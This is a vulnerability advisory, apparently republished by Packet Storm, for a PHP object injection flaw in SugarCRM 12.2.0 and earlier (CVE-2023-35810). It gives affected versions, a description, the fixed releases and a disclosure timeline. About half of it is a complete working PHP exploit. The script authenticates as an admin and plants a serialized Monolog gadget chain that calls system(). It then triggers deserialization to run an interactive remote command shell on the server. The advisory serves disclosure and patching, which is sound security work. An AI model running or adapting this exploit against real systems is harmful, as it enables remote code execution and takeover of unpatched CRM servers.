SugarCRM 12.2.0 PHP Object Injection

`-------------------------------------------------------------------------------  
SugarCRM <= 12.2.0 (Docusign_GlobalSettings) PHP Object Injection   
Vulnerability  
-------------------------------------------------------------------------------  
  
  
[-] Software Link:  
  
https://www.sugarcrm.com  
  
  
[-] Affected Versions:  
  
Version 12.2.0 and prior versions.  
Version 12.0.2 and prior versions.  
Version 11.0.5 and prior versions.  
  
  
[-] Vulnerability Description:  
  
There is a Second-Order PHP Object Injection vulnerability which might   
allow malicious  
admin users to execute arbitrary PHP code on the web server (RCE) by   
storing malicious  
serialized objects into the database.  
  
The vulnerability can be triggered by invoking the   
"/DocuSign/getGlobalConfig" REST API  
endpoint, which is using the unserialize() PHP function with the   
"Docusign_GlobalSettings"  
parameter. This can be exploited to inject arbitrary PHP objects into   
the application  
scope, allowing an attacker to perform a variety of attacks.  
  
  
[-] Proof of Concept:  
  
https://karmainsecurity.com/pocs/CVE-2023-35810.php  
  
[Packet Storm Note: see below]  
  
[-] Solution:  
  
Upgrade to version 12.3.0, 12.0.3, 11.0.6, or later.  
  
  
[-] Disclosure Timeline:  
  
[14/02/2023] - Vendor notified  
[12/04/2023] - Fixed versions released  
[17/06/2023] - CVE number assigned  
[23/08/2023] - Publication of this advisory  
  
  
[-] CVE Reference:  
  
The Common Vulnerabilities and Exposures project (cve.mitre.org)  
has assigned the name CVE-2023-35810 to this vulnerability.  
  
  
[-] Credits:  
  
Vulnerability discovered by Egidio Romano.  
  
  
[-] Original Advisory:  
  
https://karmainsecurity.com/KIS-2023-07  
  
  
[-] Other References:  
  
https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-009/  
  
  
  
---- poc ----  
  
<?php  
  
set_time_limit(0);  
error_reporting(E_ERROR);  
  
if (!extension_loaded("curl")) die("[-] cURL extension required!\n");  
  
if ($argc != 4) die("Usage: php $argv[0] <URL> <username> <password>\n");  
  
include("chain.php");  
  
function inject_pop_chain($cmd)  
{  
global $ch, $url;  
  
$pop = new \Monolog\Handler\BufferHandler(["current", "system"], [$cmd, "level" => null]);  
$pop = new \Monolog\Handler\SyslogUdpHandler($pop);  
$pop = base64_encode(serialize($pop));  
  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");  
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":"'.$pop.'"}');  
  
curl_exec($ch);  
}  
  
list($url, $user, $pass) = [$argv[1], $argv[2], $argv[3]];  
  
print "[+] Logging in with username '{$user}' and password '{$pass}'\n";  
  
$ch = curl_init();  
  
$params = ["username" => $user, "password" => $pass, "grant_type" => "password", "client_id" => "sugar"];  
  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/oauth2/token");  
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode($params));  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json"]);  
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);  
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  
  
if (($token = (json_decode(curl_exec($ch)))->access_token) == null) die("[+] Login failed!\n");  
  
curl_setopt($ch, CURLOPT_HTTPHEADER, ["Content-Type: application/json", "OAuth-Token: {$token}"]);  
  
print "[+] Launching shell\n";  
  
while(1)  
{  
print "\nsugar-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
inject_pop_chain($cmd);  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/DocuSign/getGlobalConfig");  
curl_setopt($ch, CURLOPT_POST, false);  
preg_match("/(.+)/s", curl_exec($ch), $m) ? print $m[1] : die("\n[+] Exploit failed!\n");  
}  
  
// cleaning  
curl_setopt($ch, CURLOPT_URL, "{$url}rest/v11_18/Administration/config/Docusign");  
curl_setopt($ch, CURLOPT_POSTFIELDS, '{"Docusign_GlobalSettings":""}');  
  
curl_exec($ch);  
  
`